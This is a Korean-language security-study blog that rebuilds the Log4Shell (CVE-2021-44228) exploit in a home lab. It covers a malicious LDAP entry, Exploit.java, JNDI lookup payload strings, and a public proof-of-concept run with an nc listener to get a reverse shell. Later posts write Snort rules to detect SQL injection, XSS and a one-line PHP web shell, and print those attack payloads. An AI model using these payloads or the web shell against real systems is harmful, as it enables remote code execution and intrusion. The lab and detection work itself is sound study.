Log4j 취약점 테스트-2

보안공부/기타|2024. 11. 23. 01:32

내가 직접 구축한 ldap 서버로는 테스트가 잘 되지 않아서 깃허브에 올라온 서버로 한번 테스트를 해봤다.

 

https://github.com/kozmer/log4j-shell-poc

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

 

poc.py를 실행하면 공격자용 ldap 서버를 실행시킬 수 있다.

(취약한 사이트 코드도 있어서 취약한 사이트를 실행시켜서 테스트를 할 수도 있다. 그러나 나는 내가 만든 사이트를 이용하려고 한다.)

 

1. 다운로드

git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
pip3 install –r requirements.txt

 

실행시키기 전에 jdk1.8.0_20 폴더를 내부에 위치시켜야 한다.

나는 https://ssjune.tistory.com/150 이 때 다운로드한 java 11 버전의 jdk 폴더를 log4-shell-poc 폴더내에 jdk1.8.0_20 라는 이름으로 바꿔서 넣었다.

 

2. 리버스 쉘 및 ldap 서버 실행

nc –nlvp 9001

python3 poc.py —userip 10.0.2.15 --webport 8000 —lport 9001

 

한 곳에서는 nc 명령어로 대기를 한다.

 

한 곳에서는 poc.py를 실행시켰다.

 

${jndi:ldap://192.168.0.14:1389/a}

취약한 사이트에서 위의 입력을 하게되면...

 

 

ldap 서버에서 Exploit.class를 리턴한것으로 보인다.

 

해당 Exploit.class 파일로 인해 리버스 쉘이 연결되었고 ls 명령을 사용할 수 있게 되었다.

반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-1  (0) 2024.11.22
ldap 설치  (0) 2024.11.18
Log4j 설치  (0) 2024.11.15
JSP 테스트  (0) 2024.11.15

댓글()

Log4j 취약점 테스트-1

보안공부/기타|2024. 11. 22. 02:34

Log4j 테스트 사이트도 만들었고, ldap 서버도 만들었으니 실제 취약점을 테스트 해볼 것이다.

 

 

1. ldap에 자바 적용하기

sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/java.ldif

 

ldap 서버에서 JNDI Lookup 요청에 응답할 수 있도록 LDAP 엔트리에 javaClassName, javaCodeBase, javaFactory 속성을 추가한다.

 

2. Exploit.ldif 만들어서 적용하기

dn: cn=Exploit,dc=test,dc=june
objectClass: top
objectClass: javaContainer
#objectClass: javaObject
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit

 

ldap 서버에 악성 객체를 추가하는 ldif 파일을 만든다.

 

sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

 

만든 ldif 파일을 추가한다.

 

3. 테스트 파일 만들기

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>
<!DOCTYPE html>
<html>
<head>
    <title>Logging Example</title>
</head>
<body>
    <form method="post">
        <label for="logMessage">Enter a message to log:</label>
        <input type="text" id="logMessage" name="logMessage">
        <button type="submit">Submit</button>
    </form>

<%
    // Logger 설정
    Logger logger = LogManager.getLogger("MyLogger");

    // 사용자 입력 값 처리
    String logMessage = request.getParameter("logMessage");
    if (logMessage != null && !logMessage.trim().isEmpty()) {
        logger.error("User input logged as error: " + logMessage);
        out.println("<p>Logged message: " + logMessage + "</p>");
    }
%>

</body>
</html>

 

입력을 받아서 logger.error로 로그에 쓰는 간단한 페이지이다.

 

4. Exploit.class 만들기

 

먼저 Exploit.java를 만든다

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/log4j-exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

/tmp 폴더에 파일을 생성하는 코드이다.

javac Exploit.java

 

javac Exploit.java를 통해 Exploit.class를 만든다

적당한 폴더에 넣고 아래의 명령을 통해 서버를 구동한다.

 python3 -m http.server 9999

 

 

5. 테스트

내가 넣어본 값이다.

${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}

 

그럼 위와 같이 메시지에 남는다.

 

 

다른 값을 넣었을 때와는 달리 뭔가 되는 것 같긴 한데, 아쉽게도 tmp 폴더에 파일이 생성되지는 않았다.

좀 더 알아봐야 할 것 같다....

 


24/11/23 추가

 

https://ssjune.tistory.com/154

에서 기존의 코드를 분석한 결과 내가 ldif 파일을 잘 못 만들었다는 걸 알았다.

 

2. Exploit.ldif 만들어서 적용하기

dn: cn=Exploit,dc=test,dc=june
objectClass: javaContainer
objectClass: javaObject
objectClass: javaNamingReference
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit

ldif 파일을 위처럼 만들고 추가해야 한다.

 

ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"

위 명령어로 Exploit ldif 등록한 것을 제거할 수 있다.

 

sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

그리고 다시 추가를 한다.

 

그리고 다시 시도하면...

 

/tmp 폴더에 log4j-exploit 파일이 생성된 것을 확인할 수 있다.

 


 

기타. 명령어

# java ldif 삭제
su root
cd /etc/ldap/slapd.d/cn\=config/cn\=schema
rm cn\=\{4\}java.ldif

# exploit ldif 삭제
ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"


# 확인
sudo ldapsearch -x -LLL -b "dc=test,dc=june"
sudo ldapsearch -Y EXTERNAL -H ldapi:/// -b "cn=schema,cn=config" "(objectClass=*)"

#java ldif 재적용
sudo ldapadd -Y EXTERNAL -H ldapi:/// -f java.ldif

# exploit ldif 재적용
sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

# 입력값 시도
${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}
반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
ldap 설치  (0) 2024.11.18
Log4j 설치  (0) 2024.11.15
JSP 테스트  (0) 2024.11.15

댓글()

ldap 설치

보안공부/기타|2024. 11. 18. 00:53

Log4j 취약점 실습을 위해 ldap 서버가 필요해서 설치하기로 했다.

 

1. openldap 설치

sudo apt update
sudo apt install slapd ldap-utils

 

ldap 서버 버전은 상관없는 것 같아 apt을 이용해서 설치하기로 했다.

 

 

2. 관리자 패스워드 설정

 

설치 중에 관리자 패스워드 설정하는 부분이 있으니 적당히 설정한다.

 

3. 재설정

sudo dpkg-reconfigure slapd

 

설치 후 domain name 같은 것을 설정하기 위해 재설정 명령을 친다.

 

나는 test.june으로 도메인 이름을 설정했다.

 

조직 이름은 myorg 이다.

 

관리자 패스워드를 입력한다.

 

 

slapd 패키지 제거 시 데이터베이스도 지우겠냐는 질문 같은데 혹시 모르니 No로 한다.

 

 

이거는 재설정 전에 설정을 한번 했을 때 나타나는데 깨끗한 상태에서 시작하고 싶다면 Yes를 선택하면 되는 것 같다.

 

4. 확인

 

sudo slapcat을 통해 확인하면 제대로 설정된 것 같다.

 

 

5. phpldapadmin 설치


Ubuntu 22.04 + php 8.1을 사용하는 경우 아래의 명령어로 설치하는 경우 phpldapadmin 1.2.6.3-0.2 버전이 설치되는데 해당 환경에서는 해당 버전이 실행이 잘 되지 않는다.

이런 경우는 8. 재설치 부분을 참조해서 1.2.6.3-0.3 버전으로 설치해야 한다.

 

sudo apt-get install phpldapadmin

 

ldap을 명령어를 통해서 설정해도 되지만 웹 ui를 통해서도 관리할 수 있다고 해서 관련 패키지를 설치하기로 했다.

 

6. 설정 파일 수정

sudo vi /etc/phpldapadmin/config.php

 

설치 후 수정이 좀 필요하다.

 

# 현재 내 서버에 맞게 값을 수정한다.
$servers->setValue('server','host','ldap.example.com');

->

$servers->setValue('server','host','192.168.0.14');

 

# 현재 내 서버에 맞게 값을 수정한다.
$servers->setValue('server','base',array('dc=example,dc=com'));

->

$servers->setValue('server','base',array('dc=test,dc=june'));

 

# 현재 내 서버에 맞게 값을 수정한다.
$servers->setValue('login','bind_id','cn=admin,dc=example,dc=com');

->

$servers->setValue('login','bind_id','cn=admin,dc=test,dc=june');

 

sudo systemctl restart apache2

 

수정 후 apache2를 재시작한다.

 

 

7. 접속

http://192.168.0.14/phpldapadmin/

 

위 URL로 접속을 시도하면....

 

에러가 발생하였다....

찾아보니, apt으로 설치되는 1.2.6.3-0.2 버전은 Ubuntu 22.04 + php 8.1 에서는 뭔가 문제가 있는 것 같다.

 

https://stackoverflow.com/questions/74384236/unrecognized-error-number-8192-trim-passing-null-to-parameter-1-string

 

Unrecognized error number: 8192: trim(): Passing null to parameter #1 ($string) of type string is deprecated

New to the field can find specific answer in the web hope you can help me with this. I didn't write the code I just follow a documentation on how to install openldap on php8.1 ubuntu 22.04

stackoverflow.com

 

 

8. 삭제 후 재설치

 sudo apt-get --purge remove phpldapadmin

 

기존 패키지는 제거한다.

 

wget http://archive.ubuntu.com/ubuntu/pool/universe/p/phpldapadmin/phpldapadmin_1.2.6.3-0.3_all.deb
sudo dpkg -i phpldapadmin_1.2.6.3-0.3_all.deb
sudo apt-get -f install

 

다시 설치하였다.

 

9. 동작 확인

 

이번에는 잘 된다.

반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
Log4j 취약점 테스트-1  (0) 2024.11.22
Log4j 설치  (0) 2024.11.15
JSP 테스트  (0) 2024.11.15

댓글()

Log4j 설치

보안공부/기타|2024. 11. 15. 17:56

Log4j 취약점을 테스트 해보고 싶어서 Log4j 를 설치하기로 했다.

 

최종적으로 위와 같은 폴더 구조가 될 것이다.

1. log4j-core, log4j-api 2.14.1 jar 파일 다운로드

https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/

https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/

 

위 경로에서 log4j-core와 log4j-api jar 파일을 다운로드한다.

Log4j 취약점이 있는 2.14.1 버전으로 다운로드 하였다.

 

2. WEB-INF/lib에 복사

간단하게 VSCode를 이용해서 만든거라 jar 파일을 수동으로 넣어줘야 했다.

먼저 WEB-INF/lib 폴더를 만들고 jar 파일을 넣는다.

 

 

3. apache-tomcat-10.1.33/lib에 복사

apache-tomcat 설치 폴더의 lib 폴더에도 jar 파일을 넣는다.

 

 

4. log4j2.xml 파일 만들기

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level: %msg%n" />
        </Console>
        <File name="File" fileName="../logs/app.log">
            <PatternLayout>
                <Pattern>%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level: %msg%n</Pattern>
            </PatternLayout>
        </File>
    </Appenders>

    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="File"/>
        </Root>
    </Loggers>
</Configuration>

 

WEB-INF/classes에 log4j2.xml 파일을 만든다.

apache-tomcat 설치 폴더의 logs 폴더에 app.log 라는 이름으로 로그가 쌓인다.

 

 

5. 톰캣 재시작

./tomcat 설치폴더/bin/shutdown.sh

./tomcat 설치폴더/bin/startup.sh

 

shutdown.sh으로 종료 후 시작을 해야 적용이 된다.

 

6. 로그 테스트

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<head>
    <title>Document</title>
</head>
<body>
<%
    java.util.Date today = new java.util.Date();
    out.println("오늘 : " + today.toString());
%>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>

<%
    Logger logger = LogManager.getLogger("MyLogger");
    logger.info("This is an info log message");
    logger.error("This is an error log message");
%>

</body>
</html>

 

위와 같이 수정 후 URL 접근 하면

tomcat 설치폴더/logs/app.log에 로그가 쌓인다.

 

반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
Log4j 취약점 테스트-1  (0) 2024.11.22
ldap 설치  (0) 2024.11.18
JSP 테스트  (0) 2024.11.15

댓글()

JSP 테스트

보안공부/기타|2024. 11. 15. 15:44

다른 테스트를 위해 PHP 뿐만 아니라 JSP로도 개발이 가능하도록 서버에 설치를 하였다.

 

1. 자바 설치

https://jdk.java.net/java-se-ri/11-MR3

 

자바 11 를 설치하였다.

 

 

2. 다운로드한 거 서버로 옮기고 압축 해제

tar -xvf xxx.tar.gz

 

자바 11 tar.gz 파일을 scp를 이용해 서버로 옮기고 tar로 압축을 해제한다.

 

 

3. 자바 환경변수 설정

# 홈 디렉터리에서
vi .profile

# 맨 밑에 아래 문구 추가
export JAVA_HOME=$HOME/jsp/jdk-11.0.0.2
export PATH=$PATH:$JAVA_HOME/bin

# 저장 후 .profile 적용
source .profile

# 적용 확인
java -version

 

위처럼 자바 사용을 위한 환경변수를 설정한다.

 

 

4. 자바 버전에 맞는 톰캣 설치

 

자바 11에 맞는 톰캣 버전인 톰캣 10.1.x 버전을 설치하기로 했다.

 

 

위에서 10.1.33 버전의 tar.gz 파일을 다운로드한다.

 

tar -xvf xxx.tar.gz

다운로드한 파일을 scp를 이용해 서버로 옮기고 압축을 해제한다.

 

압축해제된 경로의 bin 폴더에서 톰캣 실행

./startup.sh

 

http://주소:8080 으로 들어가면

 

위 하면이 나오면 설치가 완료된 것이다.

 

5. 사용자 추가

지금은 Server Status나 Manager APP이나 Host Manager에 들어가면 403 에러가 뜬다.

# 사용자 추가
vi /conf/tomcat-user.xml

# 중간에 주석 해제 하면서 내용 수정
  <user username="admin" password="admin" roles="manager-gui,admin-gui"/>
  <user username="robot" password="robot" roles="manager-script"/>

 

이렇게 하면 localhost를 통해서는 진입이 가능하다.

그러나 톰캣을 VM같은 가상서버에 설치하고 호스트 PC에서 진입하려면 다음과 같은 추가 작업이 더 필요하다.

 

# 추가 작업
vi webapps/manager/META-INF/context.xml

# 중간에 허용 아이피를 뜻하는 allow가 있다.
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />

# 아래처럼 호스트 PC IP를 넣어 수정한다.
allow="192\.168\.0\.3|127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />

# host manager에 대해서도 같은 작업을 수행한다.
vi webapps/host-manager/META-INF/context.xml

 

위 처럼 수정하고 bin 폴더의 ./shutdown.sh와 ./startup.sh를 실행한 후 접속하면 접근이 될 것이다.

 

6. 확인

webapps 폴더 밑에 자신만의 폴더를 만들어 jsp 파일을 작성한다.

# tomcat설치경로/webapps/jsp/w1/index.jsp 라는 이름의 파일을 만들고 아래 코드를 넣는다.
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>
<!DOCTYPE html>
<head>
    <title>Document</title>
</head>
<body>
<%
    java.util.Date today = new java.util.Date();
    out.println("오늘 : " + today.toString());
%>
</body>
</html>

 

 

해당 페이지가 제대로 나오는 것을 확인할 수 있다.

반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
Log4j 취약점 테스트-1  (0) 2024.11.22
ldap 설치  (0) 2024.11.18
Log4j 설치  (0) 2024.11.15

댓글()

4. [snort] 파일 업로드 공격에 대한 snort 규칙 예시

보안공부/snort 공부|2024. 11. 3. 23:38

 

자체 제작한 사이트에 대한 웹 공격을 스노트 규칙을 통해 탐지방법을 작성하였다.

 

1. 파일 업로드

 

게시글 등록 시 첨부파일을 통해 웹 쉘을 등록시켜봤다.

참고로 웹 쉘은

<?php
	echo system($_GET['cmd']);
?>

위와 같은 구조의 매우 단순한 프로그램이다.

 

 

그 후, 게시글 상세에서 첨부파일의 다운로드 경로를 확인한다.

(이건 내가 만든 사이트라 이렇게 경로를 찾았지만, 타 사이트는 이렇게도 볼 수 있고 첨부파일의 링크 주소를 통해 알 수도 있다.)

버프스위트를 통해 확인했을 때, 웹쉘이 동작하는 것을 확인할 수 있었다.

 

웹쉘을 업로드 했을 때 tcpdump로 패킷을 캡쳐하고 와이어샤크로 확인하면 다음과 같다.

 

파일명이 .php로 끝나는 것을 이용해 스노트 규칙을 만들면 되겠다고 생각했다.

alert tcp any any -> any 80 (msg:"Invalid File Detection [php]"; sid:1000201; rev:1; content:".php"; nocase;)

실제로 위와 같은 규칙을 작성하였다.

 

그러나 규칙을 확인해보면 패킷이 3번 탐지된다.

그래서 pcap 파일을 보며 생각해보니 웹쉘 파일 탐지뿐만 아니라 게시글 페이지를 요청할 때 php 파일, 업로드된 파일명을 청하면서 3번 캡쳐된 듯 싶었다.

 


 

이걸 좀 더 다듬고 싶어서 http_method로 POST 방식에 대해서만 탐지해볼까 했는데 역시 http_*가 되지 않았다.

그래서 좀 더 테스트 하다가 snort.conf 로 실행을 하면 http_method가 된다는 사실을 알아냈다.

아마 내가 snort 설정에 대한 지식이 아직 부족해서 놓친건가 싶었다.

 

snort.conf를 수정하기는 꺼려져서 my_snort.conf로 복사한 후 local.rules 만 include 하고 나머지 include *.rules 는 모두 지웠다.

 

alert tcp any any -> any 80 (msg:"Invalid File Detection2 [php]"; sid:1000202; rev:1; content:"POST"; http_method; content:".php"; nocase;)

위가 좀 더 수정한 규칙이다.

POST 방식에 대해서만 .php 파일을 가진 패킷을 탐지한다.

 

 

이번에도 2번 탐지되었는데, 웹쉘 올리는 패킷과 게시글 페이지로 넘어갈 때 POST 방식으로 php 파일을 요청하는데 그래서 탐지되었나 싶다.

반응형

댓글()

3. [snort] XSS 공격에 대한 snort 규칙 예시

보안공부/snort 공부|2024. 11. 2. 17:10

자체 제작한 사이트에 대한 웹 공격을 스노트 규칙을 통해 탐지방법을 작성하였다.

1. XSS

자체 제작한 사이트로 웹 모의해킹 공부를 했을 때 처럼 XSS 공격을 시도했다.

버프스위트를 이용해 위와 같이 스크립트 구문을 넣었다.

 

그 결과, 게시글 목록에 접근 시 alert 창이 발생했다.

(XSS2는 발생하지 않았는데, 그 이유는 아직 확인하지 못했다....)

 

 

해당 XSS 공격을 탐지하기 위한 스노트 규칙으로는 아마 <, >나 script를 탐지하면 될 것 같다.

해서 tcpdump 를 이용해 XSS 공격 시의 패킷을 캡쳐하였다.

sudo tcpdump -i enp0s3 -s 0 -w xss.pcap port 80

 

그 후, tcpdump를 통해 패킷을 읽었다.

sudo tcpdump -A -r xss.pcap

 

URL 인코딩 처럼 값이 변하는게 없는 걸 확인했으니, 이를 기반으로 다음과 같은 규칙을 만들었다.

alert tcp any any -> any 80 (msg: "XSS detection [<]"; sid:1000101; rev:1; content:"<"; nocase;)
alert tcp any any -> any 80 (msg: "XSS detection [>]"; sid:1000102; rev:1; content:">"; nocase;)
alert tcp any any -> any 80 (msg: "XSS detection [script]"; sid:1000103; rev:1; content:"script"; nocase;)

 

그 후, 규칙을 실행시키고 버프스위트를 통해 XSS 공격을 실행하면 위 처럼 탐지 결과가 나온다.

 

CSRF 공격에 대한 탐지 역시 유사하게 <, >, script, 그 외에 자바스크립트 태그를 넣으면 탐지할 수 있을 것이라고 생각한다.

반응형

댓글()

2. [snort] SQL Injection 공격에 대한 snort 규칙 예시

보안공부/snort 공부|2024. 11. 2. 17:10

 

자체 제작한 사이트에 대한 웹 공격을 스노트 규칙을 통해 탐지방법을 작성하였다.

 

1. SQL Injection

자체 제작한 사이트이다.

id: xxxx' or '1'='1

pw: aaa' or '1'='1

을 입력하면 SQL 인젝션 공격이 된다.

 

해당 공격에 대한 스노트 규칙을 만들기 전에 어떤 식으로 규칙을 만들지 정하기 위해 tcpdump를 통해 해당 공격 패킷을 캡쳐해봤다.

 

sudo tcpdump -i enp0s3 -s 0 -w sql.pcap port 80

 

위 명령을 통해 enp0s3 인터페이스를 통해 80번 포트로 들어오는 패킷을 sql.pcap이라는 이름의 파일로 저장한다.

그 후, 자제 제작 사이트에 실제 SQL 인젝션 공격을 하고 pcap 파일을 열어본다.

 

sudo tcpdump -A -r sql.pcap

 

위 명렁을 통해 sql.pcap 파일을 읽어온다.

 

pcap 파일 중 일부 패킷에서 SQL 인젝션 때 넣었던 값이 있는 것을 확인하였다.

이제 이 값을 기준으로 스노트 규칙을 만들면 된다.

 

그러나, 너무 특정한 문자열에 집착하면 조금만 변경해도 우회가 가능하기에 최대한 일반적인 패턴을 사용해야 한다.

일단 기본적인 "or '1'='1" 문구로 시작하기로 했다.

 

alert tcp any any -> any 80 (msg : "SQL Injection"; sid:1000001; rev:1; content : "or '1'='1"; nocase;)

 

그러나 해당 규칙으로 공격을 잡지 못했다.

tcpdump를 통해 SQL 인젝션 공격 한 것을 pcap 파일로 만든 후 와이어샤크로 열어봤다.

 

알고 봤더니 내가 입력한 or '1'='1 문구가 or+'1'='1 로 입력되었고 URL 인코딩 까지 거쳐서 입력된 것이라고 판단했다.

alert tcp any any -> any 80 (msg : "SQL Injection1"; sid:1000010; rev:1; content : "or+%271%27%3d%271"; nocase;)

 

위와 같이 인코딩된 값을 content로 넣고 테스트를 해봤다.

 

실제로 공격을 탐지하는 것을 확인하였다.

 

그러나, http_uri나 http_client_body 를 통해서도 탐지를 할 수 있을 것 같아 여러 테스트를 해봤는데 같은 content 규칙이여도 http_uri나 http_client_body 옵션이 붙으면 탐지가 되지 않았다. 이건 좀 더 확인을 해봐야 할 것 같다.


alert tcp any any -> any 80 (msg : "SQL Injection1"; sid:1000010; rev:1; content : "or%2b%271%27%3d%271"; nocase;)
alert tcp any any -> any 80 (msg : "SQL Injection1_2"; sid:1000011; rev:1; content : "or%2b%271%27%3d%271"; nocase; http_uri;)
alert tcp any any -> any 80 (msg : "SQL Injection1_3"; sid:1000012; rev:1; content : "or%2b%271%27%3d%271"; nocase; http_client_body;)
alert tcp any any -> any 80 (msg : "SQL Injection1_4"; sid:1000013; rev:1; content : "or%2b%271%27%3d%271"; nocase; http_header;)

alert tcp any any -> any 80 (msg:"SQL Injection2"; sid:1000020; rev:1; content:"or+'1'='1"; nocase;)
alert tcp any any -> any 80 (msg:"SQL Injection2_2"; sid:1000021; rev:1; content:"or+'1'='1"; nocase; http_uri;)
alert tcp any any -> any 80 (msg:"SQL Injection2_3"; sid:1000022; rev:1; content:"or+'1'='1"; nocase; http_client_body;)
alert tcp any any -> any 80 (msg:"SQL Injection2_4"; sid:1000023; rev:1; content:"or+'1'='1"; nocase; http_header;)

 

위와 같은 규칙으로 여러 테스트를 해보고 있다.

 

위처럼 curl을 통해 전송하면

 

SQL Injection2 번 규칙이 탐지되고

URL 인코딩 된 값으로 전송하면

 

SQL Injection1 번 규칙이 탐지된다.

 

POST 방식 역시 SQL Injection 2번과 1번 규칙으로만 탐지되고 있다.

 

http_uri나 http_client_body 옵션에 대한 테스트가 더 필요한 상황이다.

 


https://ssjune.tistory.com/148

 

4. [snort] 파일 업로드 공격에 대한 snort 규칙 예시

자체 제작한 사이트에 대한 웹 공격을 스노트 규칙을 통해 탐지방법을 작성하였다.  영어한국어일본어중국어 (간체)중국어 (번체)베트남어인도네시아어태국어독일어러시아어스페인어이탈리

ssjune.tistory.com

파일 업로드에 대한 snort 규칙 테스트를 하다가 이유를 알게되었다.

프리프로세서 설정을 해야 했는데, 이 설정은 snort.conf에만 돼있었고 나는 local.rules 를 실행하면 자동으로 설정파일이 적용되는 줄 알았었다.

 

위 페이지에 나온대로 my_snort.conf 파일을 만들고 local.rules만 include 하게 했다.

 

alert tcp any any -> any 80 (msg : "SQL Injection1"; sid:1000010; rev:1; content : "or+%271%27%3d%271"; nocase;)
alert tcp any any -> any 80 (msg : "SQL Injection1_2"; sid:1000011; rev:1; content : "or+%271%27%3d%271"; http_uri; nocase;)
alert tcp any any -> any 80 (msg : "SQL Injection1_3"; sid:1000012; rev:1; content : "or+%271%27%3d%271"; http_client_body; nocase;)
alert tcp any any -> any 80 (msg : "SQL Injection1_4"; sid:1000013; rev:1; content : "or+%271%27%3d%271"; http_header; nocase;)

alert tcp any any -> any 80 (msg:"SQL Injection2"; sid:1000020; rev:1; content:"or+'1'='1"; nocase;)
alert tcp any any -> any 80 (msg:"SQL Injection2_2"; sid:1000021; rev:1; content:"or+'1'='1"; http_uri; nocase;)
alert tcp any any -> any 80 (msg:"SQL Injection2_3"; sid:1000022; rev:1; content:"or+'1'='1"; http_client_body; nocase;)
alert tcp any any -> any 80 (msg:"SQL Injection2_4"; sid:1000023; rev:1; content:"or+'1'='1"; http_header; nocase;)

 

내 local.rules는 위와 같이 수정하였다.

 

curl을 통해 시도하면...

위와 같이 탐지한다.

 

웹 사이트를 통해 시도하면....

위와 같이 탐지한다.

 

이렇게 http_client_body가 안되던 원인을 알게 되었다. (완벽하게 알려면 conf 파일에 대한 공부가 더 필요하겠지만)

아마 http_uri도 비슷하게 동작할 것이라고 생각된다.

 


 

본 블로그는 단순 예시를 위해 or '1'='1 문구를 다뤘지만, 실제로는 입력값에 포함될 필요가 없는 띄어쓰기나 특수문자 위주로 판별을 하면 되지 않을까 한다.

반응형

댓글()

1. [snort] snort 설치 및 사용법

보안공부/snort 공부|2024. 11. 1. 10:44

웹 모의해킹 공부한 것을 snort를 통해 실제 패킷을 탐지하는 공부를 하기로 했다.

 

 

1. 설치

sudo apt update
sudo apt-get install snort

 

환경은 Ubuntu 22.04 이다.

 

설치 과정 중 위와같이 네트워크 대역을 입력해야 하는데 나는 기본적으로 주어지는 것을 선택했다.

(아마 설치과정 중에 자동으로 네트워크 대역을 인식하고 알려주는 게 아닐까 한다.)

 

 

위와 같이 스노트 버전을 확인해서 설치 성공을 확인할 수 있다.

 

 

2. 사용법

 

alert tcp any any -> any 80 (msg:"HTTP GET request"; sid:1000001; rev:1; content:"GET"; nocase;)

 

Rule Header

1. alert (Action)

2. tcp (Protocol)

3. any (Source IP)

4. any (Source Port)

5. -> (Direction)

6. any (Destination IP)

7. 80 (Destination Port)

Rule Option

8. (msg:"HTTP GET request"; sid:1000001; rev:1; content:"GET"; nocase;)

 

 

규칙은 위와 같은 8개 부분의 규칙을 갖는다.

 

1. Action (alert, log, pass, drop, reject, sdrop)

  • alert: 경고를 발생시키고 로그에 기록.
  • log: 로그에 기록.
  • pass: 패킷 무시.
  • Inline Mode 시 아래의 추가 액션 사용 가능
    • drop: 패킷 차단 및 로그 기록.
    • reject: 패킷을 차단하고 로그 기록. TCP의 경우 연결을 초기화하고, UDP는 ICMP port unreachable 메시지를 보내 차단 및 초기화.
    • sdrop: 패킷 차단, 로그 미기록.

 

2. Protocol

  • TCP, UDP, ICMP, IP 4가지 프로토콜을 지원하며, 추후 ARP, IGRP, GRE, OSPF, RIP, IPX... 같은 프로토콜을 지원할 수 있다고 한다.

 

3. Source IP

  • 출발지 IP 주소를 지정한다. 호스트네임 lookup 은 지원하지 않으니, 고정 IP나 넷마스크를 이용한 IP 대역을 입력해야 한다.
  • any 라고 쓰면 모든 IP를 의미한다.
  • ! 를 이용해 해당 IP를 외의 아이피라고 지정할 수 있다.위의 규칙은 192.168.1.0 대역 대가 아닌 IP가 192.168.1.0 대역의 80 번 포트로 들어오면 alert를 한다고 볼 수 있다.
    • ex.) alert tcp !192.168.1.0/24 any -> 192.168.1.0/24 80 (msg:...)
      • 위의 규칙은 192.168.1.0 대역 대가 아닌 IP가 192.168.1.0 대역의 80 번 포트로 들어오면 alert를 한다고 볼 수 있다.

  • []를 이용해 IP 를 그룹핑할 수 있다.
    • ex.) alert tcp ![192.168.1.0/24,10.1.1.0/24] any -> [192.168.1.0/24,10.1.1.0/24] 80 (msg:...)
      • 위의 규칙은 192.168.1.0와 10.1.1.0 대역 대가 아닌 IP가 192.168.1.0 대역이나 10.1.1.0 대역의 80 번 포트로 들어오면 alert를 한다고 볼 수 있다.

 

4. Source Port

  • 출발지 포트를 지정한다. 단일 숫자를 통해 포트를 지정하거나 : 를 통해 범위를 지정할 수 있다.
    • ex) alert tcp any :1024 -> any 500:
      • 위의 규칙은 1024 이하의 포트로부터 목적지의 500이상의 포트로 오는 패킷에 대해 alert를 한다고 볼 수 있다.

  • any라고 쓰면 모든 포트를 의미한다.

 

5. Direction

  • ->: 방향을 의미한다. 왼쪽의 출발지에서 오른쪽의 목적지로 오는 패킷이라고 보면 된다.
  • <>: 양방향을 지정할 수도 있다.

 

6. Destination IP

  • 목적지 IP로 3번의 출발지 IP를 지정하는 것과 같은 방식을 따른다.

7. Destination Port

  • 목적지 port로 4번의 출발지 포트를 지정하는 것과 같은 방식을 따른다

8. Rule Option

  • Rule Option 부분으로 스노트의 탐지기능의 핵심이라고 볼 수 있다. ; 을 통해 각 옵션들을 구분하며 옵션별 의미는 : 를 통해 지정한다.
    • ex) (msg:"HTTP GET request"; sid:1000001; rev:1; content:"GET"; nocase;)
    • 패킷 내용 중에 GET 이라는 글자가 있으면(nocase에 의해 대소문자를 구분하지 않음) msg 내용을 기록한다.
      sid는 규칙을 구분하기위한 ID로 커스텀 규칙의 경우 1,000,000 이상의 숫자를 사용한다.
      rev는 해당 규칙의 버전을 뜻한다. 수정할 때마다 1씩 올리면 된다.

  • 룰 옵션은 4가지 종류가 있다.
    • General: 탐지된 패킷에 대해 크게 영향을 끼치지 않는 규칙에 대한 정보를 제공한다.
      (ref: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node31.html)
      • msg: alert 혹은 로그 기록 시 작성되는 메시지
      • sid: 규칙을 구분하기위한 ID로 커스텀 규칙의 경우 1,000,000 이상의 숫자를 사용한다.
      • rev: 해당 규칙의 버전을 뜻한다. 수정할 때마다 1씩 올리면 된다.

    • payload: 패킷 내부의 데이터를 확인하는 옵션이다.
      ref: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node32.html\
      • content: 탐지할 내용을 지정한다.
